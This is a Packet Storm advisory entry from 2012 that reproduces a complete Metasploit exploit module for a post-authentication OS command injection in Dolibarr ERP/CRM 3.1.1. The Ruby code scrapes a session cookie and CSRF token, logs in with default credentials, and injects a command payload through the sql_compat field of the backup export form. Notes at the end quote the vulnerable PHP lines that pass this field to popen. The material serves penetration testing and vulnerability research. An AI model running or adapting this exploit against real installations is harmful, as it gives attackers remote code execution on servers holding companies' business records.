Dolibarr ERP & CRM 3 Post-Auth OS Command Injection

2012-04-10T00:00:00
ID PACKETSTORM:111679
Type packetstorm
Reporter metasploit.com
Modified 2012-04-10T00:00:00

Description

                                        
                                            `##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Dolibarr ERP & CRM 3 Post-Auth OS Command Injection",  
'Description' => %q{  
This module exploits a vulnerability found in Dolibarr ERP/CRM's  
backup feature. This software is used to manage a company's business  
information such as contacts, invoices, orders, stocks, agenda, etc.  
When processing a database backup request, the export.php function  
does not check the input given to the sql_compat parameter, which allows  
a remote authenticated attacker to inject system commands into it,  
and then gain arbitrary code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>', #Discovery, PoC  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['URL', 'http://seclists.org/fulldisclosure/2012/Apr/78']  
],  
'Arch' => ARCH_CMD,  
'Compat' =>  
{  
'PayloadType' => 'cmd'  
},  
'Platform' => ['unix', 'linux'],  
'Targets' =>  
[  
# Older versions are probably also vulnerable according to  
# Nahuel's report on full disclosure  
['Dolibarr 3.1.1 on Linux', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Apr 6 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('USERNAME', [true, 'Dolibarr Username', 'admin']),  
OptString.new('PASSWORD', [true, 'Dolibarr Password', 'test']),  
OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])  
], self.class)  
end  
  
def check  
res = send_request_raw({  
'method' => 'GET',  
'uri' => target_uri.path  
})  
  
if res.body =~ /Dolibarr 3\.1\.1/  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def get_sid_token  
res = send_request_raw({  
'method' => 'GET',  
'uri' => @uri.path  
})  
  
# Get the session ID from the cookie  
m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)  
id = (m.nil?) ? nil : m[1]  
  
# Get the token from the decompressed HTTP body response  
m = res.body.match(/type="hidden" name="token" value="(.+)"/)  
token = (m.nil?) ? nil : m[1]  
  
return id, token  
end  
  
def login(sid, token)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "#{@uri.path}index.php",  
'cookie' => sid,  
'vars_post' => {  
'token' => token,  
'loginfunction' => 'loginfunction',  
'tz' => '-6',  
'dst' => '1',  
'screenwidth' => '1093',  
'screenheight' => '842',  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
}  
})  
  
location = res.headers['Location']  
return (location =~ /admin\//)  
end  
  
def exploit  
@uri = target_uri  
@uri.path << "/" if @uri.path[-1, 1] != "/"  
peer = "#{rhost}:#{rport}"  
  
print_status("#{peer} - Getting the sid and token...")  
sid, token = get_sid_token  
if sid.nil?  
print_error("#{peer} - Unable to retrieve a session ID")  
return  
elsif token.nil?  
print_error("#{peer} - Unable to retrieve a token")  
return  
end  
  
user = datastore['USERNAME']  
pass = datastore['PASSWORD']  
print_status("#{peer} - Attempt to login with \"#{user}:#{pass}\"")  
success = login(sid, token)  
if not success  
print_error("#{peer} - Unable to login")  
return  
end  
  
print_status("#{peer} - Sending malicious request...")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => @uri.path + "admin/tools/export.php",  
'cookie' => sid,  
'vars_post' => {  
'token' => token,  
'export_type' => 'server',  
'what' => 'mysql',  
'mysqldump' => '/usr/bin/mysqldump',  
'use_transaction' => 'yes',  
'disable_fk' => 'yes',  
'sql_compat' => ";#{payload.encoded};",  
'sql_structure' => 'structure',  
'drop' => '1',  
'sql_data' => 'data',  
'showcolumns' => 'yes',  
'extended_ins' => 'yes',  
'delayed' => 'yes',  
'sql_ignore' => 'yes',  
'hexforbinary' => 'yes',  
'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',  
'compression' => 'none'  
}  
})  
  
end  
end  
  
=begin  
Notes:  
  
114 if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];  
...  
137 $paramcrypted=$param;  
...  
159 $fullcommandcrypted=$command." ".$paramcrypted." 2>&1";  
...  
165 if ($handle)  
166 {  
....  
169 $handlein = popen($fullcommandclear, 'r');  
....  
185 }  
=end`